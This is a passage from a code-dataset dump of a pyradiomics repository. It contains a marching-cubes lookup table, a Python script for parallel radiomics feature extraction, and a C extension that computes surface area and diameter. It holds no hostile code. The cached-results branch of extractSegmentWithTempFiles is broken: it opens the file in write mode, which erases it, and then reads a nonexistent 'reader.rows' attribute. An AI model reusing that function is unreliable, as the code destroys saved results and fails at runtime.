0x2cf, 0x1c5, 0x0cc, 0xfcc, 0xec5, 0xdcf, 0xcc6, 0xbca, 0xac3, 0x9c9, 0x8c0\n};*/\n\n// triTable defines which triangles (defined by their points as defined in vertList) are present in the cube.\n// The first dimension indicates the specific cube to look up, the second dimension contains sets of 3 points (1 for\n// each triangle), with the elements set to -1 after all triangles have been defined (max. no of triangles: 5)\nstatic const int triTable[128][16] = {\n { -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\n { 0, 8, 3, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\n { 0, 1, 9, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\n { 1, 8, 3, 9, 8, 1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\n { 1, 2, 10, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\n { 0, 8, 3, 1, 2, 10, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\n { 9, 2, 10, 0, 2, 9, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\n { 2, 8, 3, 2, 10, 8, 10, 9, 8, -1, -1, -1, -1, -1, -1, -1 },\n { 3, 11, 2, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\n { 0, 11, 2, 8, 11, 0, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\n { 1, 9, 0, 2, 3, 11, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\n { 1, 11, 2, 1, 9, 11, 9, 8, 11, -1, -1, -1, -1, -1, -1, -1 },\n { 3, 10, 1, 11, 10, 3, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\n { 0, 10, 1, 0, 8, 10, 8, 11, 10, -1, -1, -1, -1, -1, -1, -1 },\n { 3, 9, 0, 3, 11, 9, 11, 10, 9, -1, -1, -1, -1, -1, -1, -1 },\n { 9, 8, 10, 10, 8, 11, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\n { 4, 7, 8, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\n { 4, 3, 0, 7, 3, 4, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\n { 0, 1, 9, 8, 4, 7, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\n { 4, 1, 9, 4, 7, 1, 7, 3, 1, -1, -1, -1, -1, -1, -1, -1 },\n { 1, 2, 10, 8, 4, 7, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\n { 3, 4, 7, 3, 0, 4, 1, 2, 10, -1, -1, -1, -1, -1, -1, -1 },\n { 9, 2, 10, 9, 0, 2, 8, 4, 7, -1, -1, -1, -1, -1, -1, -1 },\n { 2, 10, 9, 2, 9, 7, 2, 7, 3, 7, 9, 4, -1, -1, -1, -1 },\n { 8, 4, 7, 3, 11, 2, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\n { 11, 4, 7, 11, 2, 4, 2, 0, 4, -1, -1, -1, -1, -1, -1, -1 },\n { 9, 0, 1, 8, 4, 7, 2, 3, 11, -1, -1, -1, -1, -1, -1, -1 },\n { 4, 7, 11, 9, 4, 11, 9, 11, 2, 9, 2, 1, -1, -1, -1, -1 },\n { 3, 10, 1, 3, 11, 10, 7, 8, 4, -1, -1, -1, -1, -1, -1, -1 },\n { 1, 11, 10, 1, 4, 11, 1, 0, 4, 7, 11, 4, -1, -1, -1, -1 },\n { 4, 7, 8, 9, 0, 11, 9, 11, 10, 11, 0, 3, -1, -1, -1, -1 },\n { 4, 7, 11, 4, 11, 9, 9, 11, 10, -1, -1, -1, -1, -1, -1, -1 },\n { 9, 5, 4, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\n { 9, 5, 4, 0, 8, 3, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\n { 0, 5, 4, 1, 5, 0, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\n { 8, 5, 4, 8, 3, 5, 3, 1, 5, -1, -1, -1, -1, -1, -1, -1 },\n { 1, 2, 10, 9, 5, 4, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\n { 3, 0, 8, 1, 2, 10, 4, 9, 5, -1, -1, -1, -1, -1, -1, -1 },\n { 5, 2, 10, 5, 4, 2, 4, 0, 2, -1, -1, -1, -1, -1, -1, -1 },\n { 2, 10, 5, 3, 2, 5, 3, 5, 4, 3, 4, 8, -1, -1, -1, -1 },\n { 9, 5, 4, 2, 3, 11, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\n { 0, 11, 2, 0, 8, 11, 4, 9, 5, -1, -1, -1, -1, -1, -1, -1 },\n { 0, 5, 4, 0, 1, 5, 2, 3, 11, -1, -1, -1, -1, -1, -1, -1 },\n { 2, 1, 5, 2, 5, 8, 2, 8, 11, 4, 8, 5, -1, -1, -1, -1 },\n { 10, 3, 11, 10, 1, 3, 9, 5, 4, -1, -1, -1, -1, -1, -1, -1 },\n { 4, 9, 5, 0, 8, 1, 8, 10, 1, 8, 11, 10, -1, -1, -1, -1 },\n { 5, 4, 0, 5, 0, 11, 5, 11, 10, 11, 0, 3, -1, -1, -1, -1 },\n { 5, 4, 8, 5, 8, 10, 10, 8, 11, -1, -1, -1, -1, -1, -1, -1 },\n { 9, 7, 8, 5, 7, 9, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\n { 9, 3, 0, 9, 5, 3, 5, 7, 3, -1, -1, -1, -1, -1, -1, -1 },\n { 0, 7, 8, 0, 1, 7, 1, 5, 7, -1, -1, -1, -1, -1, -1, -1 },\n { 1, 5, 3, 3, 5, 7, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\n { 9, 7, 8, 9, 5, 7, 10, 1, 2, -1, -1, -1, -1, -1, -1, -1 },\n { 10, 1, 2, 9, 5, 0, 5, 3, 0, 5, 7, 3, -1, -1, -1, -1 },\n { 8, 0, 2, 8, 2, 5, 8, 5, 7, 10, 5, 2, -1, -1, -1, -1 },\n { 2, 10, 5, 2, 5, 3, 3, 5, 7, -1, -1, -1, -1, -1, -1, -1 },\n { 7, 9, 5, 7, 8, 9, 3, 11, 2, -1, -1, -1, -1, -1, -1, -1 },\n { 9, 5, 7, 9, 7, 2, 9, 2, 0, 2, 7, 11, -1, -1, -1, -1 },\n { 2, 3, 11, 0, 1, 8, 1, 7, 8, 1, 5, 7, -1, -1, -1, -1 },\n { 11, 2, 1, 11, 1, 7, 7, 1, 5, -1, -1, -1, -1, -1, -1, -1 },\n { 9, 5, 8, 8, 5, 7, 10, 1, 3, 10, 3, 11, -1, -1, -1, -1 },\n { 5, 7, 0, 5, 0, 9, 7, 11, 0, 1, 0, 10, 11, 10, 0, -1 },\n { 11, 10, 0, 11, 0, 3, 10, 5, 0, 8, 0, 7, 5, 7, 0, -1 },\n { 11, 10, 5, 7, 11, 5, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\n { 10, 6, 5, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\n { 0, 8, 3, 5, 10, 6, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\n { 9, 0, 1, 5, 10, 6, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\n { 1, 8, 3, 1, 9, 8, 5, 10, 6, -1, -1, -1, -1, -1, -1, -1 },\n { 1, 6, 5, 2, 6, 1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\n { 1, 6, 5, 1, 2, 6, 3, 0, 8, -1, -1, -1, -1, -1, -1, -1 },\n { 9, 6, 5, 9, 0, 6, 0, 2, 6, -1, -1, -1, -1, -1, -1, -1 },\n { 5, 9, 8, 5, 8, 2, 5, 2, 6, 3, 2, 8, -1, -1, -1, -1 },\n { 2, 3, 11, 10, 6, 5, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\n { 11, 0, 8, 11, 2, 0, 10, 6, 5, -1, -1, -1, -1, -1, -1, -1 },\n { 0, 1, 9, 2, 3, 11, 5, 10, 6, -1, -1, -1, -1, -1, -1, -1 },\n { 5, 10, 6, 1, 9, 2, 9, 11, 2, 9, 8, 11, -1, -1, -1, -1 },\n { 6, 3, 11, 6, 5, 3, 5, 1, 3, -1, -1, -1, -1, -1, -1, -1 },\n { 0, 8, 11, 0, 11, 5, 0, 5, 1, 5, 11, 6, -1, -1, -1, -1 },\n { 3, 11, 6, 0, 3, 6, 0, 6, 5, 0, 5, 9, -1, -1, -1, -1 },\n { 6, 5, 9, 6, 9, 11, 11, 9, 8, -1, -1, -1, -1, -1, -1, -1 },\n { 5, 10, 6, 4, 7, 8, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\n { 4, 3, 0, 4, 7, 3, 6, 5, 10, -1, -1, -1, -1, -1, -1, -1 },\n { 1, 9, 0, 5, 10, 6, 8, 4, 7, -1, -1, -1, -1, -1, -1, -1 },\n { 10, 6, 5, 1, 9, 7, 1, 7, 3, 7, 9, 4, -1, -1, -1, -1 },\n { 6, 1, 2, 6, 5, 1, 4, 7, 8, -1, -1, -1, -1, -1, -1, -1 },\n { 1, 2, 5, 5, 2, 6, 3, 0, 4, 3, 4, 7, -1, -1, -1, -1 },\n { 8, 4, 7, 9, 0, 5, 0, 6, 5, 0, 2, 6, -1, -1, -1, -1 },\n { 7, 3, 9, 7, 9, 4, 3, 2, 9, 5, 9, 6, 2, 6, 9, -1 },\n { 3, 11, 2, 7, 8, 4, 10, 6, 5, -1, -1, -1, -1, -1, -1, -1 },\n { 5, 10, 6, 4, 7, 2, 4, 2, 0, 2, 7, 11, -1, -1, -1, -1 },\n { 0, 1, 9, 4, 7, 8, 2, 3, 11, 5, 10, 6, -1, -1, -1, -1 },\n { 9, 2, 1, 9, 11, 2, 9, 4, 11, 7, 11, 4, 5, 10, 6, -1 },\n { 8, 4, 7, 3, 11, 5, 3, 5, 1, 5, 11, 6, -1, -1, -1, -1 },\n { 5, 1, 11, 5, 11, 6, 1, 0, 11, 7, 11, 4, 0, 4, 11, -1 },\n { 0, 5, 9, 0, 6, 5, 0, 3, 6, 11, 6, 3, 8, 4, 7, -1 },\n { 6, 5, 9, 6, 9, 11, 4, 7, 9, 7, 11, 9, -1, -1, -1, -1 },\n { 10, 4, 9, 6, 4, 10, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\n { 4, 10, 6, 4, 9, 10, 0, 8, 3, -1, -1, -1, -1, -1, -1, -1 },\n { 10, 0, 1, 10, 6, 0, 6, 4, 0, -1, -1, -1, -1, -1, -1, -1 },\n { 8, 3, 1, 8, 1, 6, 8, 6, 4, 6, 1, 10, -1, -1, -1, -1 },\n { 1, 4, 9, 1, 2, 4, 2, 6, 4, -1, -1, -1, -1, -1, -1, -1 },\n { 3, 0, 8, 1, 2, 9, 2, 4, 9, 2, 6, 4, -1, -1, -1, -1 },\n { 0, 2, 4, 4, 2, 6, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\n { 8, 3, 2, 8, 2, 4, 4, 2, 6, -1, -1, -1, -1, -1, -1, -1 },\n { 10, 4, 9, 10, 6, 4, 11, 2, 3, -1, -1, -1, -1, -1, -1, -1 },\n { 0, 8, 2, 2, 8, 11, 4, 9, 10, 4, 10, 6, -1, -1, -1, -1 },\n { 3, 11, 2, 0, 1, 6, 0, 6, 4, 6, 1, 10, -1, -1, -1, -1 },\n { 6, 4, 1, 6, 1, 10, 4, 8, 1, 2, 1, 11, 8, 11, 1, -1 },\n { 9, 6, 4, 9, 3, 6, 9, 1, 3, 11, 6, 3, -1, -1, -1, -1 },\n { 8, 11, 1, 8, 1, 0, 11, 6, 1, 9, 1, 4, 6, 4, 1, -1 },\n { 3, 11, 6, 3, 6, 0, 0, 6, 4, -1, -1, -1, -1, -1, -1, -1 },\n { 6, 4, 8, 11, 6, 8, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\n { 7, 10, 6, 7, 8, 10, 8, 9, 10, -1, -1, -1, -1, -1, -1, -1 },\n { 0, 7, 3, 0, 10, 7, 0, 9, 10, 6, 7, 10, -1, -1, -1, -1 },\n { 10, 6, 7, 1, 10, 7, 1, 7, 8, 1, 8, 0, -1, -1, -1, -1 },\n { 10, 6, 7, 10, 7, 1, 1, 7, 3, -1, -1, -1, -1, -1, -1, -1 },\n { 1, 2, 6, 1, 6, 8, 1, 8, 9, 8, 6, 7, -1, -1, -1, -1 },\n { 2, 6, 9, 2, 9, 1, 6, 7, 9, 0, 9, 3, 7, 3, 9, -1 },\n { 7, 8, 0, 7, 0, 6, 6, 0, 2, -1, -1, -1, -1, -1, -1, -1 },\n { 7, 3, 2, 6, 7, 2, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\n { 2, 3, 11, 10, 6, 8, 10, 8, 9, 8, 6, 7, -1, -1, -1, -1 },\n { 2, 0, 7, 2, 7, 11, 0, 9, 7, 6, 7, 10, 9, 10, 7, -1 },\n { 1, 8, 0, 1, 7, 8, 1, 10, 7, 6, 7, 10, 2, 3, 11, -1 },\n { 11, 2, 1, 11, 1, 7, 10, 6, 1, 6, 7, 1, -1, -1, -1, -1 },\n { 8, 9, 6, 8, 6, 7, 9, 1, 6, 11, 6, 3, 1, 3, 6, -1 },\n { 0, 9, 1, 11, 6, 7, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\n { 7, 8, 0, 7, 0, 6, 3, 11, 0, 11, 6, 0, -1, -1, -1, -1 },\n { 7, 11, 6, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 }\n};\n\n// Vertlist represents the location of some point somewhere on an edge of the cube, relative to the origin (0, 0, 0).\n// As the points on the cube are always either 0 or 1 (masked/not-masked) that other point is always halfway.\n// Therefore, vertlist is constant and can be defined static (only works when the intersection point is constant\n// (in this case the intersection point is always 0.5). The edge represented is defined by the gridAngle points as follows:\n// { { 1, 0 }, { 2, 1 }, { 3, 2 }, { 3, 0 },\n// { 5, 4 }, { 6, 5 }, { 7, 6 }, { 7, 4 },\n// { 4, 0 }, { 5, 1 }, { 6, 2 }, { 7, 0 } }\nstatic const double vertList[12][3] = { { 0, 0, 0.5 }, { 0, 0.5, 1 }, { 0, 1, 0.5 }, { 0, 0.5, 0 },\n { 1, 0, 0.5 }, { 1, 0.5, 1 }, { 1, 1, 0.5 }, { 1, 0.5, 0 },\n { 0.5, 0, 0 }, { 0.5, 0, 1 }, { 0.5, 1, 1 }, { 0.5, 1, 0 } };\n"},{"alpha_fraction":0.6897942423820496,"alphanum_fraction":0.6918798685073853,"avg_line_length":35.693878173828125,"blob_id":"c3816856c750a49291a6a87ce2dc817c665721f5","content_id":"b21b6503235c5bf8952330ea14b90a6fa3e6e89e","detected_licenses":["BSD-3-Clause"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":7192,"license_type":"permissive","max_line_length":120,"num_lines":196,"path":"/radiomics/scripts/segment.py","repo_name":"drmaxchen/pyradio","src_encoding":"UTF-8","text":"from collections import OrderedDict\nimport csv\nfrom datetime import datetime\nfrom functools import partial\nimport json\nimport logging\nimport os\nimport threading\n\nimport numpy\nimport SimpleITK as sitk\nimport six\n\nfrom radiomics import featureextractor, setVerbosity\n\ncaseLogger = logging.getLogger('radiomics.script')\n\n\ndef extractSegment(case_idx, case, config, config_override):\n global caseLogger\n\n # Instantiate the output\n feature_vector = OrderedDict(case)\n\n try:\n t = datetime.now()\n\n imageFilepath = case['Image'] # Required\n maskFilepath = case['Mask'] # Required\n label = case.get('Label', None) # Optional\n if isinstance(label, six.string_types):\n label = int(label)\n\n # Instantiate Radiomics Feature extractor\n extractor = featureextractor.RadiomicsFeaturesExtractor(config, **config_override)\n\n # Extract features\n feature_vector.update(extractor.execute(imageFilepath, maskFilepath, label))\n\n # Display message\n delta_t = datetime.now() - t\n caseLogger.info('Patient %s processed in %s', case_idx, delta_t)\n\n except Exception:\n caseLogger.error('Feature extraction failed!', exc_info=True)\n\n return feature_vector\n\n\ndef extractSegment_parallel(args, parallel_config=None):\n if parallel_config is not None:\n _configurParallelExtraction(parallel_config)\n # set thread name to patient name\n threading.current_thread().name = 'case %s' % args[0] # args[0] = case_idx\n return extractSegment(*args)\n\n\ndef extractSegmentWithTempFiles(case_idx, case, config, config_override, temp_dir):\n global caseLogger\n\n filename = os.path.join(temp_dir, 'features_%s.csv' % case_idx)\n if os.path.isfile(filename):\n # Output already generated, load result (prevents re-extraction in case of interrupted process)\n with open(filename, 'w') as outputFile:\n reader = csv.reader(outputFile)\n headers = reader.rows[0]\n values = reader.rows[1]\n feature_vector = OrderedDict(zip(headers, values))\n\n caseLogger.info('Patient %s already processed, reading results...', case_idx)\n else:\n # Extract the set of features. Set parallel_config flag to None, as any logging initialization is already handled.\n feature_vector = extractSegment(case_idx, case, config, config_override)\n\n # Store results in temporary separate files to prevent write conflicts\n # This allows for the extraction to be interrupted. Upon restarting, already processed cases are found in the\n # TEMP_DIR directory and loaded instead of re-extracted\n with open(filename, 'w') as outputFile:\n writer = csv.DictWriter(outputFile, fieldnames=list(feature_vector.keys()), lineterminator='\\n')\n writer.writeheader()\n writer.writerow(feature_vector)\n\n return feature_vector\n\n\ndef extractSegmentWithTempFiles_parallel(args, parallel_config=None):\n if parallel_config is not None:\n _configurParallelExtraction(parallel_config)\n # set thread name to patient name\n threading.current_thread().name = 'case %s' % args[0] # args[0] = case_idx\n return extractSegmentWithTempFiles(*args)\n\n\ndef processOutput(results,\n outStream,\n skip_nans=False,\n format_output='csv',\n format_path='absolute',\n relative_path_start=''):\n global caseLogger\n caseLogger.info('Processing results...')\n\n # Store the header of all calculated features\n headers = results[0].keys()\n\n # Set the formatting rule for image and mask paths\n if format_path == 'absolute':\n pathFormatter = os.path.abspath\n elif format_path == 'relative':\n pathFormatter = partial(os.path.relpath, start=relative_path_start)\n elif format_path == 'basename':\n pathFormatter = os.path.basename\n else:\n caseLogger.warning('Unrecognized format for paths (%s), reverting to default (\"absolute\")', format_path)\n pathFormatter = os.path.abspath\n\n for case_idx, case in enumerate(results, start=1):\n # if specified, skip NaN values\n if skip_nans:\n for key in list(case.keys()):\n if isinstance(case[key], float) and numpy.isnan(case[key]):\n caseLogger.debug('Case %d, feature %s computed NaN, removing from results', case_idx, key)\n del case[key]\n\n # Format paths of image and mask files\n case['Image'] = pathFormatter(case['Image'])\n case['Mask'] = pathFormatter(case['Mask'])\n\n # Write out results\n if format_output not in ('csv', 'json', 'txt'):\n caseLogger.warning('Unrecognized format for output (%s), reverting to default (\"csv\")', format_output)\n format_output = 'csv'\n\n if format_output == 'csv':\n writer = csv.DictWriter(outStream, headers, lineterminator='\\n')\n if case_idx == 1:\n writer.writeheader()\n writer.writerow(case) # if skip_nans is enabled, nan-values are written as empty strings\n elif format_output == 'json':\n json.dump(case, outStream)\n outStream.write('\\n')\n else: # txt\n for k, v in six.iteritems(case):\n outStream.write('Case-%d_%s: %s\\n' % (case_idx, k, v))\n\n\ndef _configurParallelExtraction(parallel_config):\n \"\"\"\n Initialize logging for parallel extraction. This needs to be done here, as it needs to be done for each thread that is\n created.\n \"\"\"\n # Configure logging\n ###################\n\n rLogger = logging.getLogger('radiomics')\n\n # Add logging to file is specified\n logFile = parallel_config.get('logFile', None)\n if logFile is not None:\n logHandler = logging.FileHandler(filename=logFile, mode='a')\n logHandler.setLevel(parallel_config.get('logLevel', logging.INFO))\n rLogger.addHandler(logHandler)\n\n # Include thread name in Log-message output for all handlers.\n parallelFormatter = logging.Formatter('[%(asctime)-.19s] %(levelname)-.1s: (%(threadName)s) %(name)s: %(message)s')\n for h in rLogger.handlers:\n h.setFormatter(parallelFormatter)\n\n if parallel_config.get('addFilter', True):\n # Define filter that allows messages from specified filter and level INFO and up, and level WARNING and up from\n # other loggers.\n class info_filter(logging.Filter):\n def __init__(self, name):\n super(info_filter, self).__init__(name)\n self.level = logging.WARNING\n\n def filter(self, record):\n if record.levelno >= self.level:\n return True\n if record.name == self.name and record.levelno >= logging.INFO:\n return True\n return False\n\n # Adding the filter to the first handler of the radiomics logger limits the info messages on the output to just\n # those from radiomics.script, but warnings and errors from the entire library are also printed to the output.\n # This does not affect the amount of logging stored in the log file.\n outputhandler = rLogger.handlers[0] # Handler printing to the output\n outputhandler.addFilter(info_filter('radiomics.script'))\n\n # Ensures that log messages are being passed to the filter with the specified level\n setVerbosity(parallel_config.get('verbosity', logging.INFO))\n\n # Ensure the entire extraction for each cases is handled on 1 thread\n ####################################################################\n\n sitk.ProcessObject_SetGlobalDefaultNumberOfThreads(1)\n"}],"string":"[\n {\n \"alpha_fraction\": 0.7513227462768555,\n \"alphanum_fraction\": 0.7513227462768555,\n \"avg_line_length\": 93.5,\n \"blob_id\": \"7b0160567e3016cdf6185bd35aafb814f56da4cf\",\n \"content_id\": \"093c8bdb3b991ef32fe8cbb4462d3c3fbbdade73\",\n \"detected_licenses\": [\n \"BSD-3-Clause\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C\",\n \"length_bytes\": 189,\n \"license_type\": \"permissive\",\n \"max_line_length\": 104,\n \"num_lines\": 2,\n \"path\": \"/radiomics/src/cshape.h\",\n \"repo_name\": \"drmaxchen/pyradio\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"double calculate_surfacearea(char *mask, int *size, int *strides, double *spacing);\\nint calculate_diameter(char *mask, int *size, int *strides, double *spacing, int Ns, double *diameters);\\n\"\n },\n {\n \"alpha_fraction\": 0.6456996202468872,\n \"alphanum_fraction\": 0.6525459885597229,\n \"avg_line_length\": 31.160551071166992,\n \"blob_id\": \"9b2481d181cf785153ed7a890af3b1c66308d503\",\n \"content_id\": \"b0c3e91d78dff3a848c49e0651ff85d5728a41ec\",\n \"detected_licenses\": [\n \"BSD-3-Clause\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C\",\n \"length_bytes\": 7011,\n \"license_type\": \"permissive\",\n \"max_line_length\": 142,\n \"num_lines\": 218,\n \"path\": \"/radiomics/src/_cshape.c\",\n \"repo_name\": \"drmaxchen/pyradio\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#define NPY_NO_DEPRECATED_API NPY_1_7_API_VERSION\\n\\n#include <stdlib.h>\\n#include <Python.h>\\n#include <numpy/arrayobject.h>\\n#include \\\"cshape.h\\\"\\n\\nstatic char module_docstring[] = \\\"This module links to C-compiled code for efficient calculation of the surface area \\\"\\n \\\"in the pyRadiomics package. It provides fast calculation using a marching cubes \\\"\\n \\\"algortihm, accessed via \\\"\\\"calculate_surfacearea\\\"\\\". Arguments for this function\\\"\\n \\\"are positional and consist of two numpy arrays, mask and pixelspacing, which must \\\"\\n \\\"be supplied in this order. Pixelspacing is a 3 element vector containing the pixel\\\"\\n \\\"spacing in z, y and x dimension, respectively. All non-zero elements in mask are \\\"\\n \\\"considered to be a part of the segmentation and are included in the algorithm.\\\";\\nstatic char surface_docstring[] = \\\"Arguments: Mask, PixelSpacing, uses a marching cubes algorithm to calculate an \\\"\\n \\\"approximation to the total surface area. The isovalue is considered to be situated \\\"\\n \\\"midway between a voxel that is part of the segmentation and a voxel that is not.\\\";\\nstatic char diameter_docstring[] = \\\"Arguments: Mask, PixelSpacing, ROI size.\\\";\\n\\nstatic PyObject *cshape_calculate_surfacearea(PyObject *self, PyObject *args);\\nstatic PyObject *cshape_calculate_diameter(PyObject *self, PyObject *args);\\n\\nint check_arrays(PyArrayObject *mask_arr, PyArrayObject *spacing_arr, int *size, int *strides);\\n\\nstatic PyMethodDef module_methods[] = {\\n //{\\\"calculate_\\\", cmatrices_, METH_VARARGS, _docstring},\\n { \\\"calculate_surfacearea\\\", cshape_calculate_surfacearea, METH_VARARGS, surface_docstring },\\n { \\\"calculate_diameter\\\", cshape_calculate_diameter,METH_VARARGS, diameter_docstring},\\n { NULL, NULL, 0, NULL }\\n};\\n\\n#if PY_MAJOR_VERSION >= 3\\n\\nstatic struct PyModuleDef moduledef = {\\n PyModuleDef_HEAD_INIT,\\n \\\"_cshape\\\", /* m_name */\\n module_docstring, /* m_doc */\\n -1, /* m_size */\\n module_methods, /* m_methods */\\n NULL, /* m_reload */\\n NULL, /* m_traverse */\\n NULL, /* m_clear */\\n NULL, /* m_free */\\n};\\n\\n#endif\\n\\nstatic PyObject *\\nmoduleinit(void)\\n{\\n PyObject *m;\\n\\n#if PY_MAJOR_VERSION >= 3\\n m = PyModule_Create(&moduledef);\\n#else\\n m = Py_InitModule3(\\\"_cshape\\\",\\n module_methods, module_docstring);\\n#endif\\n\\n if (m == NULL)\\n return NULL;\\n\\n return m;\\n}\\n\\n#if PY_MAJOR_VERSION < 3\\n PyMODINIT_FUNC\\n init_cshape(void)\\n {\\n // Initialize numpy functionality\\n import_array();\\n\\n moduleinit();\\n }\\n#else\\n PyMODINIT_FUNC\\n PyInit__cshape(void)\\n {\\n // Initialize numpy functionality\\n import_array();\\n\\n return moduleinit();\\n }\\n#endif\\n\\nstatic PyObject *cshape_calculate_surfacearea(PyObject *self, PyObject *args)\\n{\\n PyObject *mask_obj, *spacing_obj;\\n PyArrayObject *mask_arr, *spacing_arr;\\n int size[3];\\n int strides[3];\\n char *mask;\\n double *spacing;\\n double SA;\\n // Parse the input tuple\\n if (!PyArg_ParseTuple(args, \\\"OO\\\", &mask_obj, &spacing_obj))\\n return NULL;\\n\\n // Interpret the input as numpy arrays\\n mask_arr = (PyArrayObject *)PyArray_FROM_OTF(mask_obj, NPY_BYTE, NPY_ARRAY_FORCECAST | NPY_ARRAY_UPDATEIFCOPY | NPY_ARRAY_IN_ARRAY);\\n spacing_arr = (PyArrayObject *)PyArray_FROM_OTF(spacing_obj, NPY_DOUBLE, NPY_ARRAY_FORCECAST | NPY_ARRAY_UPDATEIFCOPY | NPY_ARRAY_IN_ARRAY);\\n\\n if (check_arrays(mask_arr, spacing_arr, size, strides) > 0) return NULL;\\n\\n // Get arrays in Ctype\\n mask = (char *)PyArray_DATA(mask_arr);\\n spacing = (double *)PyArray_DATA(spacing_arr);\\n\\n //Calculate Surface Area\\n SA = calculate_surfacearea(mask, size, strides, spacing);\\n\\n // Clean up\\n Py_XDECREF(mask_arr);\\n Py_XDECREF(spacing_arr);\\n\\n if (SA < 0) // if SA < 0, an error has occurred\\n {\\n PyErr_SetString(PyExc_RuntimeError, \\\"Calculation of Surface Area Failed.\\\");\\n return NULL;\\n }\\n\\n return Py_BuildValue(\\\"f\\\", SA);\\n}\\n\\nstatic PyObject *cshape_calculate_diameter(PyObject *self, PyObject *args)\\n{\\n PyObject *mask_obj, *spacing_obj;\\n PyArrayObject *mask_arr, *spacing_arr;\\n int Ns;\\n int size[3];\\n int strides[3];\\n char *mask;\\n double *spacing;\\n double *diameters;\\n PyObject *rslt;\\n\\n // Parse the input tuple\\n if (!PyArg_ParseTuple(args, \\\"OOi\\\", &mask_obj, &spacing_obj, &Ns))\\n return NULL;\\n\\n // Interpret the input as numpy arrays\\n mask_arr = (PyArrayObject *)PyArray_FROM_OTF(mask_obj, NPY_BYTE, NPY_ARRAY_FORCECAST | NPY_ARRAY_UPDATEIFCOPY | NPY_ARRAY_IN_ARRAY);\\n spacing_arr = (PyArrayObject *)PyArray_FROM_OTF(spacing_obj, NPY_DOUBLE, NPY_ARRAY_FORCECAST | NPY_ARRAY_UPDATEIFCOPY | NPY_ARRAY_IN_ARRAY);\\n\\n if (check_arrays(mask_arr, spacing_arr, size, strides) > 0) return NULL;\\n\\n // Get arrays in Ctype\\n mask = (char *)PyArray_DATA(mask_arr);\\n spacing = (double *)PyArray_DATA(spacing_arr);\\n\\n // Initialize output array (elements not set)\\n diameters = (double *)calloc(4, sizeof(double));\\n\\n // Calculating Max 3D Diameter\\n if (!calculate_diameter(mask, size, strides, spacing, Ns, diameters))\\n {\\n Py_XDECREF(mask_arr);\\n Py_XDECREF(spacing_arr);\\n free(diameters);\\n PyErr_SetString(PyExc_RuntimeError, \\\"Calculation of maximum 3D diameter failed.\\\");\\n return NULL;\\n }\\n\\n rslt = Py_BuildValue(\\\"ffff\\\", diameters[0], diameters[1], diameters[2], diameters[3]);\\n\\n // Clean up\\n Py_XDECREF(mask_arr);\\n Py_XDECREF(spacing_arr);\\n free(diameters);\\n\\n return rslt;\\n}\\n\\nint check_arrays(PyArrayObject *mask_arr, PyArrayObject *spacing_arr, int *size, int *strides)\\n{\\n if (mask_arr == NULL || spacing_arr == NULL)\\n {\\n Py_XDECREF(mask_arr);\\n Py_XDECREF(spacing_arr);\\n PyErr_SetString(PyExc_RuntimeError, \\\"Error parsing array arguments.\\\");\\n return 1;\\n }\\n\\n if (PyArray_NDIM(mask_arr) != 3 || PyArray_NDIM(spacing_arr) != 1)\\n {\\n Py_XDECREF(mask_arr);\\n Py_XDECREF(spacing_arr);\\n PyErr_SetString(PyExc_RuntimeError, \\\"Expected a 3D array for mask, 1D for spacing.\\\");\\n return 2;\\n }\\n\\n if ( !PyArray_IS_C_CONTIGUOUS(mask_arr) || !PyArray_IS_C_CONTIGUOUS(spacing_arr))\\n {\\n Py_XDECREF(mask_arr);\\n Py_XDECREF(spacing_arr);\\n PyErr_SetString(PyExc_RuntimeError, \\\"Expecting input arrays to be C-contiguous.\\\");\\n return 3;\\n }\\n\\n if (PyArray_DIM(spacing_arr, 0) != 3)\\n {\\n Py_XDECREF(mask_arr);\\n Py_XDECREF(spacing_arr);\\n PyErr_SetString(PyExc_RuntimeError, \\\"Expecting spacing array to have shape (3,).\\\");\\n return 4;\\n }\\n\\n // Get sizes of the arrays\\n size[2] = (int)PyArray_DIM(mask_arr, 2);\\n size[1] = (int)PyArray_DIM(mask_arr, 1);\\n size[0] = (int)PyArray_DIM(mask_arr, 0);\\n\\n strides[2] = 